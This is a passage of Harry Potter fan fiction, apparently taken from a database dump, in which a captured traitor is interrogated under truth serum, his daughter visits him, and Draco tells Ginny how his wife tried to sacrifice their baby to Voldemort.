eyes. Harry picked up a cheap wooden chair that had been turned over and sat in it, looking at Bane with disgust clearly written all over his face.</p>\n\n<p>Dumbledore stood in front of Pritchard, then looked back at Snape. &#8220;Give me the Veritaserum, Severus.&#8221; Snape stepped forward and handed Dumbledore a small vial of clear liquid. &#8220;Are you going to take this willingly, Bane?&#8221; Dumbledore asked.</p>\n\n<p>Pritchard brought his hand up and gave Dumbledore the finger. &#8220;Hell no.&#8221;</p>\n\n<p>Dumbledore shrugged. &#8220;If you insist.&#8221; He took out his wand and cast a binding spell on Pritchard, walked over to him and opened his mouth, pouring half of the vial down his throat. Pritchard coughed and sputtered for a moment, and the others looked down at him without sympathy.</p>\n\n<p>&#8220;Bastard,&#8221; he rasped.</p>\n\n<p>&#8220;Are you ready to answer our questions?&#8221;</p>\n\n<p>&#8220;Never.&#8221;</p>\n\n<p>Draco stepped forward. &#8220;How long have you been an agent for Voldemort?&#8221; </p>\n\n<p>Pritchard made a pained face.</p>\n\n<p>&#8220;Just answer the question,&#8221; Draco said forcefully.</p>\n\n<p>&#8220;Three years,&#8221; Pritchard spat, glaring up hatefully at Draco.</p>\n\n<p>&#8220;Good boy.&#8221; Draco smirked. &#8220;What have you told them about our plans?&#8221;</p>\n\n<p>Pritchard jerked on the floor. &#8220;Not much,&#8221; he said in a garbled voice.</p>\n\n<p>&#8220;Now, now,&#8221; Dumbledore said. &#8220;Make this much easier on yourself, Bane, and just answer the questions. The faster you do, the less pain you&#8217;re in and the sooner we&#8217;ll be out of here.&#8221; Dumbledore looked over at Draco. &#8220;Repeat your question.&#8221;</p>\n\n<p>&#8220;What <i>exactly</i> have you told the New Ministry about our plans?&#8221; said Draco.</p>\n\n<p>He resisted for a minute, then started speaking. &#8220;Before you arrived, I was getting ready to report that you&#8217;d betrayed them.&#8221; Pritchard let out a bitter laugh. &#8220;They&#8217;ve probably already figured that out on their own since you spirited me away. You&#8217;ll never be able to go back. There wasn&#8217;t much else to report to them, I hadn&#8217;t had a chance to check in since you got back.&#8221;</p>\n\n<p>Draco nodded shortly. &#8220;Why did you double over as an agent for them?&#8221;</p>\n\n<p>&#8220;To protect my daughter,&#8221; he bit out sharply.</p>\n\n<p>&#8220;Ah,&#8221; said Draco slowly. &#8220;You double over to Voldemort to ensure you&#8217;re daughter&#8217;s <i>safety</i>. Real smart, Pritchard. What did you think that Voldemort could do for you that would be any better than anything that Dumbledore could do?&#8221;</p>\n\n<p>&#8220;The Resistance lost the war, Malfoy. I don&#8217;t like being on the loosing side and I wanted to make sure that I was on the winning side for Sara.&#8221;</p>\n\n<p>Harry let out a laugh. &#8220;Oh yeah, Voldemort is one the best people to depend upon for protecting children. Just look at all the kids living in refugee camps. You think if something happened here that your daughter would be any better off? Everything Voldemort could have promised you was lies.&#8221;</p>\n\n<p>The corner of Pritchard&#8217;s mouth turned up. &#8220;He told me you&#8217;d say that.&#8221; Harry blinked and jerked his head back.</p>\n\n<p>&#8220;Potter is right,&#8221; Draco said, looking back at Harry doubtfully, like he couldn&#8217;t believe he was saying that. &#8220;If you think that you&#8217;re daughter&#8217;s life is safe with Voldemort&#8230;you couldn&#8217;t be more wrong.&#8221; Pritchard just shook his head. &#8220;Who hit Penelope with the Cruciatus?&#8221; </p>\n\n<p>&#8220;I did,&#8221; Pritchard said with smug grin. &#8220;That little whore didn&#8217;t even see it coming.&#8221;</p>\n\n<p>Harry furrowed his eyebrows. &#8220;Why? How could you do something like that to your own <i>wife</i>?&#8221;</p>\n\n<p>&#8220;She knew too much, she suspected too much already. I couldn&#8217;t let her find anything out. I couldn&#8217;t risk the possibility that she might not be as stupid as she looked, and that she might be able to figure me out. I was gone so many nights that it wasn&#8217;t too hard for her to start suspecting me of something. At first she thought that&#8217;d I&#8217;d taken up a lover, that I was cheating on her. Then she realized that it wasn&#8217;t that. She noticed me clutching my forearm when my Master would call. She was putting two and two together. My nightly wanderings and my arm. I had to stop her from telling anyone. I waited until the right time, then I staged it. Said a Death Eater had done it to her&#8230;and I didn&#8217;t lie.&#8221; He smirked. &#8220;She was getting on my nerves anyways. As soon as she was gone, I had more freedom; I could come and go as I pleased. Everyone thought it was from grief. It was perfect.&#8221;</p>\n\n<p>&#8220;She&#8217;s not gone,&#8221; Draco said lowly.</p>\n\n<p>&#8220;Almost,&#8221; Pritchard said with a laugh.</p>\n\n<p>Harry looked at him disbelievingly. &#8220;You didn&#8217;t even love her?&#8221;</p>\n\n<p>&#8220;Women are leeches,&#8221; said Pritchard. &#8220;They attached themselves to you and suck away your life, your money and your strength. They&#8217;re nothing but trouble, nothing to waste love on.&#8221;</p>\n\n<p>&#8220;You love your daughter,&#8221; Draco pointed out.</p>\n\n<p>&#8220;That&#8217;s different.&#8221;</p>\n\n<p>&#8220;How? She&#8217;s a female. Doesn&#8217;t she attach herself to you? She&#8217;s your responsibility. You have to care for her. Isn&#8217;t she what got you into this mess in the first place?&#8221; Draco questioned. &#8220;If it hadn&#8217;t been for her, would you be here now? You would have gone over to Voldemort?&#8221;</p>\n\n<p>Dumbledore put his hand on Draco&#8217;s shoulder. &#8220;That&#8217;s enough for tonight,&#8221; he said. He knocked on the door and the key slid in the lock again, and the door opened.</p>\n\n<p>Draco shook his head disgustedly at Pritchard and walked out of the room.</p>\n\n<p>--</p>\n\n<p>Ginny took the steps up to the Ravenclaw two at a time, her mind still reeling from Draco&#8217;s kiss. She said the password to the portrait guarding the Ravenclaw common room with a cheerful lilt to her voice. The faerie in the painting grinned at her. &#8220;Good mood?&#8221; she asked.</p>\n\n<p>She smiled back at the faerie. &#8220;Wonderful mood.&#8221; The portrait swung open and Ginny stepped inside.</p>\n\n<p>Her ears instantly picked up on the sniffling coming from a chair near the fireplace. She frowned and saw Sara sitting there, curled up against the arm of the chair. She rushed over to her. &#8220;Sara?&#8221; Ginny said, kneeling down in front of her.</p>\n\n<p>Sara looked up at her, her eyes were moist with tears, and there were wet tracks running down her face. &#8220;Oh, Sara,&#8221; Ginny whispered, pulling Sara off of the chair and settling her in her lap. She put her arms around the small girl and rocked slightly, rubbing her hands on Sara&#8217;s back.</p>\n\n<p>Sara sobbed, her whole body shaking. She coughed and pressed her face into Ginny&#8217;s neck, taking deep breaths, trying to calm herself. &#8220;I didn&#8217;t know,&#8221; she said in a shaky voice. &#8220;Why? Why did he do that?&#8221; She sucked in a wobbly breath. &#8220;It was my fault. All my fault.&#8221;</p>\n\n<p>Ginny continued rocking Sara. &#8220;It wasn&#8217;t your fault, honey. It was all your father&#8217;s doing. You did <i>nothing</i> wrong.&#8221;</p>\n\n<p>Lifting her head up, Sara looked at Ginny. &#8220;Can I sleep with you tonight?&#8221; she asked carefully.</p>\n\n<p>&#8220;Of course!&#8221; Ginny hefted Sara up in her arms, staggering slightly as she stood up. She smiled at Sara and started up towards her dormitory with Sara in her arms. Ginny kicked open the door and walked in slowly, setting Sara down on her bed. She sat down on the bed next to Sara and started to untie the girl&#8217;s shoes for her, then pulled them off, setting them of the floor. She helped Sara out of her heavy robes, finding a lavender linen dress underneath. Ginny pulled off her own shoes and robe and climbed into the bed next to Sara.</p>\n\n<p>She pulled the little girl into her arms and stroked her hair gently, kissing the top of her head.</p>\n\n<p>A few minutes later, the door creaked open, and Draco&#8217;s footsteps sounded on the floor. Sara lifted her head up. &#8220;Draco?&#8221; she said softly.</p>\n\n<p>Draco paused and frowned. &#8220;Sara? What are you doing in here?&#8221; He walked over to Ginny&#8217;s bed.</p>\n\n<p>&#8220;Ginny is letting me sleep with her,&#8221; said Sara.</p>\n\n<p>&#8220;Oh, she is?&#8221; He looked to Ginny, who nodded. Draco sat on the edge of the bed, next to Sara and held out his hand to her; Sara gave it to him and he held onto it, rubbing her knuckles with the pad of his thumb. &#8220;How are you doing?&#8221; he inquired.</p>\n\n<p>Sara&#8217;s eyebrows lowered and her lower lip quivered. &#8220;My daddy hates me,&#8221; she whimpered.</p>\n\n<p>&#8220;No, no he doesn&#8217;t,&#8221; Draco said softly. &#8220;He doesn&#8217;t hate you. He just made some bad decisions.&#8221; He leaned down and kissed Sara&#8217;s cheek. &#8220;Go to sleep&#8230;sweetie. Remember, Ginny and I will be here for you. Always.&#8221;</p>\n\n<p>Sara smiled weakly and shut her eyes, leaning up against Ginny.</p>\n\n<p>Ginny looked up at Draco fondly. He raised an eyebrow and walked over to her side of the bed. &#8220;Good night,&#8221; he said, leaning down to kiss her lips quickly. He straightened and went to his bed, taking off his heavy boots and robe.</p>\n\n<p>&#8220;Night, Draco.&#8221;</p>\n\n<p>--</p>\n\n<p>Draco was gone when Ginny woke up, and he had left his bed unmade. Sara stirred slightly next to her, then opened her eyes sleepily. &#8220;Morning,&#8221; she said groggily.</p>\n\n<p>&#8220;Good morning,&#8221; said Ginny, rolling over and getting out of the bed. &#8220;There&#8217;s lots to do today.&#8221; She walked over to the bathroom and paused at the door. &#8220;Are you going to want to see your father today?&#8221; </p>\n\n<p>Sara stared up at the ceiling of the canopy above the bed. &#8220;Yes,&#8221; she said weakly. &#8220;I want to see him.&#8221;</p>\n\n<p>Ginny nodded. &#8220;Alright, go shower and I&#8217;ll meet you down in the common room.&#8221;</p>\n\n<p>&#8220;Okay.&#8221; </p>\n\n<p>Closing the door behind her, Ginny started towards the shower and turned on the water, letting the steam rise up. She sighed and stepped in a few seconds later, enjoying the way the hot water pounded against her tired muscles. She felt like she had hardly gotten any sleep since she&#8217;d arrived and it was finally beginning to take its toll on her.</p>\n\n<p>A few minutes later she stepped out of the shower and dried off, pulling on a pair of clean robes. She walked down to the common room to find Sara and Draco sitting by the fireplace playing an awkward game of chess. It looked as if they had just started, and Draco was explaining to Sara the rules of the game.</p>\n\n<p>&#8220;Morning,&#8221; said Ginny, walking up and taking a seat off to Sara&#8217;s side. </p>\n\n<p>Draco took his fingers off of the pawn he had been moving around for demonstrations sake and looked up at Ginny. &#8220;Good morning.&#8221;</p>\n\n<p>&#8220;Sara, would you like to go visit your father before it gets too late?&#8221; asked Ginny gently, reaching out and putting a hand on Sara&#8217;s arm.</p>\n\n<p>Draco raised his eyebrows. &#8220;You&#8217;re ready to talk to him?&#8221; he asked, question directed at Sara.</p>\n\n<p>Sara nodded slowly. &#8220;I think so.&#8221; She looked at him hesitantly. &#8220;Will&#8230;will you come?&#8221;</p>\n\n<p>&#8220;If you want me to.&#8221;</p>\n\n<p>&#8220;I do.&#8221;</p>\n\n<p>&#8220;Alright then,&#8221; said Draco, standing up. &#8220;Let&#8217;s go. I&#8217;ll finish teaching you how to play chess later, okay?&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Sara got up, Ginny took her hand, and they both followed Draco out of the quiet common room. They passed by Snape&#8217;s old potions classroom, and were taken deeper into the castle, the stone starting to radiate cold around them. Sara shivered and gripped Ginny&#8217;s hand tighter.</p>\n\n<p>Draco stopped in front of a wooden door, where an auror was sitting outside on a chair taken from a classroom. They conversed lowly for a moment and the auror unlocked the door with a series of spells and Draco turned to Sara. &#8220;We&#8217;ll have to go in there with you.&#8221;</p>\n\n<p>Sara frowned. &#8220;Why?&#8221;</p>\n\n<p>&#8220;We can&#8217;t allow anyone to go in there alone,&#8221; said Draco slowly.</p>\n\n<p>&#8220;You think he might hurt me?&#8221; Sara asked quietly, tears welling up in her eyes.</p>\n\n<p>&#8220;It&#8217;s not that we think he might hurt you,&#8221; Draco said gently. &#8220;But we can&#8217;t take any chances.&#8221;</p>\n\n<p>Sara blinked, tears sliding down her cheeks. &#8220;I&#8217;m scared.&#8221;</p>\n\n<p>&#8220;Honey,&#8221; Ginny said, kneeling down beside Sara and wiping the tears off of her cheeks. &#8220;Don&#8217;t be scared. Just remember that he&#8217;s your father and he still loves you.&#8221;</p>\n\n<p>&#8220;Then why did he do this?&#8221; Sara whispered.</p>\n\n<p>Ginny brushed back a strand of Sara&#8217;s hair. &#8220;People don&#8217;t think of the consequences when they&#8217;re doing things for the ones they love.&#8221;</p>\n\n<p>--</p>\n\n<p>Sara stepped into the darkened room, Ginny and Draco following closely behind her, wands in hand. Bane was sitting in the corner, and lifted his head to look at them as their footsteps sounded on the stone floor. Sara let out a small gasp as she saw the pure look of hatred shot in Draco&#8217;s direction from her own father.</p>\n\n<p>&#8220;Daddy?&#8221; she said tentatively, taking a step towards him.</p>\n\n<p>&#8220;Hello, darling,&#8221; Pritchard rasped, smiling slowly. &#8220;Come to see dear old dad?&#8221;</p>\n\n<p>Sara blinked. &#8220;Yes&#8230;.&#8221;</p>\n\n<p>&#8220;Here, let&#8217;s have a hug,&#8221; said Pritchard, standing up and holding his arms out to Sara. &#8220;Come on,&#8221; he prodded. &#8220;I&#8217;m still your dad.&#8221; Then he added quietly, &#8220;And I still love you.&#8221;</p>\n\n<p>Sara stepped forward into her father&#8217;s arms and hugged him around his middle. &#8220;Why daddy?&#8221; she asked weakly, pulling back slightly out of his embrace to look at him. &#8220;Why did you do this?&#8221;</p>\n\n<p>Pritchard&#8217;s fingers tightened faintly around Sara&#8217;s small shoulders and he let out a low breath. &#8220;I wanted to make sure you were safe, darling. I didn&#8217;t want anything to happen to you.&#8221;</p>\n\n<p>Sara&#8217;s eyebrows creased together and she looked up at him, tears shining in her eyes. &#8220;He&#8217;s wrong, daddy. Why did you go to him? He wants to hurt us.&#8221;</p>\n\n<p>&#8220;No,&#8221; Pritchard said firmly. &#8220;He wants to protect us. But we have to do as he says to earn it. Once you earn it, you&#8217;re safe. He wouldn&#8217;t have hurt you, or me, ever.&#8221;</p>\n\n<p>&#8220;You&#8217;re wrong,&#8221; Sara whispered. &#8220;He&#8217;s evil and he doesn&#8217;t care about anyone but himself. And you&#8217;re wrong for believing him!&#8221; She stepped out of his arms and looked up at him sadly. &#8220;I&#8217;m sorry, daddy. I love you, but&#8230;you&#8217;re wrong.&#8221; She wrung her hands and a tear trickled down her face. &#8220;He&#8217;ll never help us. Don&#8217;t you see what he did? Look, daddy, just look.&#8221;</p>\n\n<p>Pritchard looked as if he had been slapped across the face as Sara bowed her head and walked back to Ginny and Draco, Ginny resting a hand reassuringly on <i>his</i> daughter&#8217;s shoulder. He looked up at Draco, who was looking at him disgustedly.</p>\n\n<p>&#8220;You haven&#8217;t won yet,&#8221; growled Pritchard. &#8220;You can&#8217;t take my daughter away from me!&#8221; he shouted, standing up and clenching his fists. His eyes hardened as he stared at Draco loathingly. &#8220;You <i>can&#8217;t </i>take her! She&#8217;s mine! She&#8217;s my daughter!&#8221; he screamed, ready to run at Draco.</p>\n\n<p>&#8220;Ginny,&#8221; Draco said quietly. Ginny nodded quickly, taking a terrified Sara&#8217;s hand and leading her out of the cell quickly, pulling the door shut behind them.</p>\n\n<p>&#8220;She&#8217;s <i>mine</i>,&#8221; Pritchard repeated darkly. &#8220;You can&#8217;t take her.&#8221;</p>\n\n<p>&#8220;I didn&#8217;t take her,&#8221; said Draco plainly. &#8220;You&#8217;re the one that pushed her away.&#8221;</p>\n\n<p>Draco stepped out of the cell and the auror recited the incantations had that been on the door previously, locking Pritchard in. There was an angry scream from inside, and Pritchard pounded his fists against the door furiously.</p>\n\n<p>&#8220;<i>YOU CAN&#8217;T TAKE HER! YOU CAN&#8217;T TAKE HER!!!!&#8221;</i></p>\n\n<p>--</p>\n\n<p>&#8220;She alright?&#8221; asked Draco from his perch near the fireplace as Ginny came down the stairs from their dormitory. It was late; past 12 and they were the only ones up. It had taken Ginny forever to calm Sara down enough to get her to sleep. All day they had tried to comfort her, and tell her that she said the right things, that if anything, she had helped her father.</p>\n\n<p>Ginny sighed and sat down next to him on the fading blue couch. &#8220;I guess you could say she&#8217;s doing better, but she did just tell her father today that he was wrong. It&#8217;s a lot for her.&#8221;</p>\n\n<p>&#8220;I know, and she said the right thing. I&#8217;m proud of her,&#8221; said Draco, reaching out to put an arm around Ginny, pulling her flush up against his side. Ginny rested her head on his shoulder and looked up at him.</p>\n\n<p>&#8220;I just wish I could make all of her pain go away,&#8221; she said softly. &#8220;She&#8217;s too young to have to deal with this. She shouldn&#8217;t have to.&#8221; Ginny shifted against him and put a hand on his chest. &#8220;She&#8217;s blaming herself, Draco. She thinks it&#8217;s her fault.&#8221;</p>\n\n<p>&#8220;There&#8217;s nothing we can do but reassure her that it wasn&#8217;t her fault. There&#8217;s nothing she could have done to prevent it, the only one at fault his Pritchard for being stupid enough to believe all the lies that&#8230;that Voldemort told him. Sara didn&#8217;t make him do anything, and she&#8217;s got to understand that,&#8221; Draco said practically, rubbing his thumb on Ginny&#8217;s side steadily.</p>\n\n<p>&#8220;She&#8217;s only ten,&#8221; said Ginny, a small tremor of sadness running through her voice. &#8220;She shouldn&#8217;t have to suffer.&#8221;</p>\n\n<p>&#8220;None of the children in this war should have to suffer,&#8221; Draco said gently. &#8220;That&#8217;s why we&#8217;re fighting for them.&#8221; He kissed Ginny&#8217;s forehead tenderly. &#8220;No need to dwell on this, let&#8217;s go to bed, we&#8217;ve got lots of planning to do for this weekend.&#8221;</p>\n\n<p>Ginny closed her eyes and sighed again. &#8220;It&#8217;s all happening so quickly. The years at the camp seem so far away now. So much is happening.&#8221;</p>\n\n<p>Draco pushed his fingers through her hair slowly. &#8220;It&#8217;s going to be over soon.&#8221;</p>\n\n<p>She looked up at him. &#8220;I hope so,&#8221; she said quietly, lifting her head up to press her lips against his briefly.</p> '),
	(99, 15, ' <p><b>A/N: </b>I&#8217;m really, really sorry that this took so long to get out. I had the first 2,000 words or so of it written weeks ago, but I just didn&#8217;t know where to go with the rest of it. Fortunately, I went on a reading binge, and whenever I go on reading binges, I get really motivated to write &#8211; so here we have a new chapter, finally, eh? Another contributing factor to the reason it took me so long to get this chapter out, was the fact that school has started back up &#8211; and this year I seem to be a little bit busier than last year. My Pre-AP classes are a little bit harder, making it so that I have more homework, and I&#8217;m playing tennis (FUN!) so I have after school practice and am pretty worn out when I get home. But I got a three-day weekend! YAY! That&#8217;s why I had time to go on a reading binge that got me motivated, and also allowed me to have time to write the rest of this chapter.</p>\n\n<p>There are only about two more chapters of this story left. That makes me kind of sad. I think I&#8217;ll have been working on this story for almost a year by Christmas. Is that about right? Hopefully I&#8217;ll be finished by then. Won&#8217;t it be awful if it would have taken me a whole year to write this?</p>\n\n<p>Anyways, I hope you enjoy this chapter. I worked really hard on it, and I hope the space between updates won&#8217;t be so long next time. French II is just as boring as French I was last year, so I&#8217;ll probably have plenty of time to write in that class. Look for another chapter in a couple of weeks. </p>\n\n<p>Loves and huggles to all of you that have stuck through this fic with me and reviewed so nicely! I love it when I get reviews telling me to update. :D Especially when they&#8217;re out of no where. LOL! It makes me feel so bad that I usually at least go and open up my word document and stare at the chapter dumbly. Hehe.</p>\n\n<p>I LOVE YOU GUYS! SORRY I&#8217;M SUCH A LAZY LITTLE GIRL WHO TAKES TOO LONG TO UPDATE!!!</p>\n\n<p><b></b></p>\n\n<p><b></b></p>\n\n<p><b>Heroes Shed No Tears &#8211;15</b></p>\n\n<p>By VirtualFaerie</p>\n\n<p>-</p>\n\n<p>Ginny got up the next morning quietly, careful not to stir Sara, who had been sleeping in her bed again, and walked over to Draco&#8217;s bed, putting her hand on his shoulder gently. &#8220;Draco,&#8221; she said softly, shaking him slightly. He scrunched his eyes up, then opened them slowly, peering up sleepily at Ginny.</p>\n\n<p>&#8220;What is it?&#8221; he asked groggily, sitting up on his elbows, looking up at Ginny curiously. </p>\n\n<p>She sat down on the edge of his bed. &#8220;It&#8217;s Friday. Aren&#8217;t we&#8230;leaving today?&#8221;</p>\n\n<p>Draco raised his eyebrows and rubbed his eyes. &#8220;Yes, we are.&#8221;</p>\n\n<p>&#8220;Do you think that maybe, we should take Sara to your mother&#8217;s? She might not be safe here&#8230;&#8221; said Ginny quietly.</p>\n\n<p>&#8220;Ah,&#8221; said Draco, frowning. &#8220;I suppose that would be a good idea. Haven would love having here there. That would be good for her, spending some time with someone closer to her age, don&#8217;t you think?&#8221;</p>\n\n<p>Ginny smiled. &#8220;Yes, she needs some time away from all this grown-up war. She needs someone she can be a child with.&#8221; She fingered the bed spread, looking at Draco thoughtfully. &#8220;Your mother won&#8217;t mind?&#8221;</p>\n\n<p>Draco shook his head. &#8220;She&#8217;ll love having Sara there.&#8221;</p>\n\n<p>&#8220;Good,&#8221; said Ginny. &#8220;The last thing I want to worry about while we&#8217;re&#8230;away, is her. Just thinking of her or Haven being in danger gives me the&#8230;.&#8221;</p>\n\n<p>Draco reached over and put his hand on her arm, rubbing the pad of his thumb against her skin soothingly. &#8220;I know. There&#8217;s not much that we can do, other than make sure that they aren&#8217;t in the direct line of fire. There isn&#8217;t anywhere truly safe for them anymore.&#8221; Ginny sighed and Draco tugged her arm, pulling her down next to him. He wrapped his arms around her and kissed her hair. Ginny closed her eyes and breathed him in, savoring his touch.</p>\n\n<p>&#8220;Now I want to go back to sleep,&#8221; Draco murmured, weaving his fingers through her hair, his eyes drifting closed.</p>\n\n<p>Ginny scooted up closer to him, letting him wrap his arms around her. He placed his lips lightly n her forehead, and she tilted her head upwards without thinking, allowing him easy access to her lips. His lips moved against hers sleepily, but thoroughly, sending a shiver of delight down her spine.</p>\n\n<p>&#8220;Wait,&#8221; said Ginny, against his lips. She pushed away from him reluctantly, remembering that they were sharing a room with Sara. &#8220;We need to stop&#8230; It wouldn&#8217;t be good for Sara to find us like this.&#8221;</p>\n\n<p><b></b></p>\n\n<p>Draco stiffened, his fingers going still in her hair. &#8220;Actually,&#8221; he said. &#8220;It wouldn&#8217;t do for anyone to find us like this.&#8221;</p>\n\n<p><b></b></p>\n\n<p>&#8220;It&#8217;s not like they aren&#8217;t going to find out sometime,&#8221; Ginny said carefully.</p>\n\n<p><b></b></p>\n\n<p>&#8220;Of course, and we&#8217;ll tell them when we&#8217;re ready,&#8221; said Draco slowly. &#8220;I&#8217;m just not sure this is the best time. Should we really upset everyone with it right now?&#8221;</p>\n\n<p>Leaning back, Ginny looked at him inquisitively. &#8220;You think it will upset everyone?&#8221;</p>\n\n<p>&#8220;You think it won&#8217;t?&#8221;</p>\n\n<p>&#8220;Well&#8230;you&#8217;re on our side. I don&#8217;t see any reason for them to not accept it.&#8221;</p>\n\n<p>Draco sighed. &#8220;Don&#8217;t be na&#239;ve, Ginny. Just because I&#8217;m not working for Voldemort doesn&#8217;t mean they like me. If anything, they&#8217;re just putting up with me so that they can get rid of him quicker.&#8221;</p>\n\n<p>Ginny sat up and looked at him fiercely. &#8220;Don&#8217;t say that.&#8221;</p>\n\n<p>&#8220;It&#8217;s true,&#8221; Draco said simply.</p>\n\n<p>&#8220;No, it&#8217;s not. I think they respect you. Not everyone can make the right decision, do the right thing, despite what they&#8217;ve been raised to believe. Draco, you made a good decision, you changed your life, and your son&#8217;s for the better&#8230;. People are going to respect you for that,&#8221; said Ginny a bit indignantly. </p>\n\n<p>&#8220;Not everyone sees things like you,&#8221; Draco said tiredly. &#8220;I&#8217;m still a Malfoy. No matter what I&#8217;ve done, they&#8217;ll still be wary of me. I&#8217;m still scum, but for now I&#8217;m useful scum.&#8221; He ran a hand through his hair. &#8220;You know, I only ever joined the Resistance because of Haven.&#8221;</p>\n\n<p>&#8220;Well then, I&#8217;d say he&#8217;s done you a lot of good. And you&#8217;re everything to him, everything he needs.&#8221;</p>\n\n<p>Draco shook his head impatiently. &quot;I\'m a lot of things to him, but there are some things I just can\'t be.&quot;</p>\n\n<p>She frowned slightly, reaching out to touch his shoulder in an attempt to wipe away the sad look she was almost sure he didn\'t know he had. &quot;Don\'t say that, you\'ve given him every--&quot;</p>\n\n<p>&quot;Everything I can, but it\'s not enough.&quot; He sighed briefly. &quot;Surely you noticed how attached he got to you in such a short time? He\'s never had a mother, and he wants one desperately.&quot;</p>\n\n<p>&#8220;He has Narcissa&#8230;&#8221; said Ginny. </p>\n\n<p>Draco shook his head again. &#8220;It&#8217;s not the same, and you know it.&#8221;</p>\n\n<p>Ginny slumped her shoulders and leaned up against the headboard. &#8220;Do you mind if I ask what happened with Haven&#8217;s birth mother?&#8221; she asked carefully.</p>\n\n<p>Draco smiled wryly and reached up to rub the bridge of his nose. &#8220;I figured you&#8217;d ask that sooner or later.&#8221;</p>\n\n<p>&#8220;Can you blame me?&#8221;</p>\n\n<p>&#8220;No, no I can&#8217;t.&#8221;</p>\n\n<p>Ginny touched Draco&#8217;s cheek. &#8220;Tell me.&#8221;</p>\n\n<p>Draco put his hand over hers and sighed, closing his eyes tightly. &#8220;Well, it all started quite a long time ago &#8211; back while I was still in Hogwarts. Mathilde was in a year younger than me.&#8221; He opened his eyes and smiled at Ginny, &#8220;Like you.&#8221; Ginny pursed her lips and pressed her fingers on his cheek, urging him to continue. &#8220;Our fathers had arranged for a formal introduction during one of the interminable balls my mother held, and we were encouraged to being a courtship. And I went along with it, because there wasn&#8217;t really any reason not to.</p>\n\n<p>&#8220;Mathilde was quite beautiful in this vicious sort of way. She also had a way of convincing people to believe whatever she told them, even me, because I was so young, and so captivated by her outward beauty. It blinded me from seeing what she really was.</p>\n\n<p>&#8220;I thought I loved her. We had spent so much time together that summer, right before seventh year. Both of our fathers were so busy helping Voldemort plan his attacks, they were always together, and we just&#8230;hung around together as well.</p>\n\n<p>&#8220;When school started back up, we met on the weekends when she&#8217;d floo to the manor, or I&#8217;d portkey over to her family&#8217;s house. We were together as much as possible.&#8221; Pain flashed in Draco&#8217;s gray eyes; he closed them again, not able to look at Ginny.</p>\n\n<p>&quot;She had me completely fooled. We\'d been growing apart after I left school, and she saw the chance at grabbing my family\'s money slipping away. She stopped taking the birth control potion, and then when she got pregnant, she went straight to my parents. I was determined to do the right thing, but as soon as we were married, she stopped pretending to be sweet and let all of her vicious deceitfulness show.&quot;</p>\n\n<p>Ginny took her hand off of his cheek, and held his hand in hers softly, placing a small kiss on his cheek.</p>\n\n<p>&#8220;We got married. Then, one week after Haven was born; she told me that she was going out. I stayed home, and was reading in my study. I thought I heard the baby crying, so I went upstairs into his room, and he wasn&#8217;t there. His crib was empty, and I just felt this pooling sense of dread in my stomach. All I could think was that Mathilde took him somewhere. But all of his things were still in his room, his blankets, his bag of baby things&#8230;she hadn&#8217;t taken anything.</p>\n\n<p>&#8220;My first thoughts were that the Resistance had stolen him away from me to get at Voldemort. But the more I thought about it, the less likely it seemed. The Resistance wasn&#8217;t as petty as Voldemort&#8217;s Death Eaters.&#8221; He squeezed Ginny&#8217;s hand.</p>\n\n<p>&#8220;I went to go see if Mathilde had gone to her parent&#8217;s house, and taken Haven with her. I Apparated into their living room, to find Mathilde <i>handing</i> our baby to Voldemort. Handing our healthy baby to Voldemort. I couldn&#8217;t believe it, I was shocked; I froze and felt like I couldn&#8217;t breathe. Why would she have done that? Then Voldemort begun reciting a spell that I knew all too well from various Death Eater meetings. It was a sacrificial spell, one that gave him more power. Typically, it was done with Muggle virgins, but the innocent blood of a baby, a pureblooded baby that would have been offered to him, was especially powerful,&#8221; continued Draco.</p>\n\n<p>Ginny&#8217;s eyes were widened, looking on at Draco with disbelief written clearly all over her face. &#8220;<i>Why</i>?&#8221; she breathed. &#8220;Why would anyone want to <i>sacrifice</i> their baby?&#8221; She clutched at Draco&#8217;s hands, eyes shining.</p>\n\n<p>Draco shook his head slowly, sadly. &#8220;She wanted to prove her allegiance to Voldemort. Wanted to prove that she was his most loyal Death Eater. There was&#8230;is something wrong with her,&#8221; said Draco, a small tremor of grief running through his voice. &#8220;She&#8217;s pure blackness all the way through. She couldn&#8217;t think of doing anything nice if her life depended on it.</p>\n\n<p>&#8220;But, anyways, I did the first thing that came to my mind. I pulled out my wand and did a quick stunning spell on her, then ran and grabbed Haven, Apparating away quickly. I didn&#8217;t know where to go. First, I went home &#8211; but then I realized that they would look for me there, they would look for Haven there. And I would have done <i>anything</i>, I would still do <i>anything</i> to keep Haven safe, so I took him to the safest place I knew. Hogwarts. I went to Dumbledore and told him my situation, fighting off repulsion of actually trusting a man that my father had taught me to hate. It wasn&#8217;t easy, but I would do anything for Haven.&#8221;</p>\n\n<p>Ginny smiled weakly, tears threatening to spill from her eyes. Draco brushed his thumb across her cheek as a tear escaped, rolling down her cheek. &#8220;How&#8230;how did you keep their trust?&#8221; asked Ginny thickly, trying to keep her emotions under control.</p>\n\n<p>&#8220;Lucius,&#8221; said Draco with a sardonic smile. &#8220;He wouldn&#8217;t dare let Voldemort or anyone else doubt me, I was his heir, I needed to be there to step up into his place when he was gone. He was also afraid that he would be blamed with me. He said that it was the result of a potion gone wrong. While I had normally been quite well at potions, he said that I had been working on one that we could give to the Resistance members that we captured that would enable us to send them back home with the desire to kill other Resistance members. Lucius made it sound as if I had accidentally taken some of the potion and that was what caused me to act so rashly and kill my own son. That delighted Voldemort. He would have liked the power he would have gained from Haven&#8217;s life &#8211; but me taking my own son&#8217;s life was so much more pleasing to him. He&#8217;s a sick bastard,&#8221; spat Draco, glaring at the memory.</p>\n\n<p>&#8220;I left Mathilde shortly after that, telling her that since we didn&#8217;t have a son, there was no reason for us to be together. She fought me the whole way, trying her best not to make a scene amongst the Death Eaters &#8211; but it was impossible, so she gave in eventually. She told everyone that we&#8217;d separated because we didn&#8217;t want our marriage to interfere with our competition for a higher rank,&#8221; said Draco bitterly.</p>\n\n<p>Ginny touched his face lightly. &#8220;Oh Draco, I&#8217;m so sorry. I shouldn&#8217;t have made you tell me all of that,&#8221; her voice wavered. </p>\n\n<p>Draco closed his eyes and pressed his cheek into her hand. &#8220;No,&#8221; he said. &#8220;You needed to know sometime.&#8221;</p>\n\n<p>Ginny kissed his forehead and wound her arms around his shoulders tightly, not knowing what to say. &#8220;I&#8217;m so sorry,&#8221; she said, tears spilling out of her eyes. &#8220;I&#8217;m <i>so</i> sorry.&#8221;</p>\n\n<p>&#8220;Now, now,&#8221; said Draco hoarsely, rubbing her back and kissing her temple. &#8220;It&#8217;s over now.&#8221;</p>\n\n<p>&#8220;Yes, I know,&#8221; Ginny choked. &#8220;But 